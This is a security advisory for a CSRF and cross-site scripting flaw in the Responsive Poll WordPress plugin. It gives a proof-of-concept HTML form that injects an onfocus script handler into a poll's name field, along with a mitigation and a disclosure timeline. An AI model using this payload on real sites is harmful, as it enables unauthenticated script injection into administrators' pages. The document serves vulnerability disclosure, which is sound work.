Responsive Poll 1.6.4 / 1.7.4 CSRF / Cross Site Scripting

2017-01-10T00:00:00
ID PACKETSTORM:140450
Type packetstorm
Reporter Tom Adams
Modified 2017-01-10T00:00:00

Description

                                        
                                            `Details  
================  
Software: Responsive Poll  
Version: 1.6.4,1.7.4  
Homepage: http://codecanyon.net/item/responsive-poll/6785692  
Advisory report: https://security.dxw.com/advisories/csrfxss-in-responsive-poll-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/  
CVE: Awaiting assignment  
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)  
  
Description  
================  
CSRF/XSS in Responsive Poll allows unauthenticated attackers to do almost anything an admin can  
  
Vulnerability  
================  
This plugin lacks CSRF checks when updating polls meaning an unauthenticated attacker can cause anything to be modified in a poll. The plugin also fails to escape values put into HTML. The combination of these two means that an unauthenticated attacker can put arbitrary JavaScript into a page in /wp-admin/.  
  
Proof of concept  
================  
Create a poll.A We assume that the ID of this poll will be 1.  
Visit the following page and click submit (in a real attack the form can be submitted without user interaction):  
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\">  
<input type=\"text\" name=\"poll_id\" value=\"1\">  
<input type=\"text\" name=\"action\" value=\"update_poll\">  
<input type=\"text\" name=\"name\" value=\"" onfocus="alert(1)\">  
<input type=\"submit\">  
</form>  
Then visitA http://localhost/wp-admin/admin.php?page=polls&action=edit&edit_poll=1 and focus the Question field (either via clicking on it or tabbing to it).  
  
Mitigations  
================  
Disable the plugin until a new version is released that fixes this bug.  
  
Disclosure policy  
================  
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/  
  
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.  
  
This vulnerability will be published if we do not receive a response to this report with 14 days.  
  
Timeline  
================  
  
2015-09-15: Discovered  
2016-12-07: Reported to vendor viaA https://codecanyon.net/user/weblator  
2016-12-07: Requested CVE  
2016-12-15: Vendor first replied  
2017-01-10:A Itas been over 30 days and the vendorA has not reported the bug fixed orA indicatedA when they expect it to be fixed  
2017-01-10:A Advisory published  
  
  
  
Discovered by dxw:  
================  
Tom Adams  
Please visit security.dxw.com for more information.  
  
  
  
  
`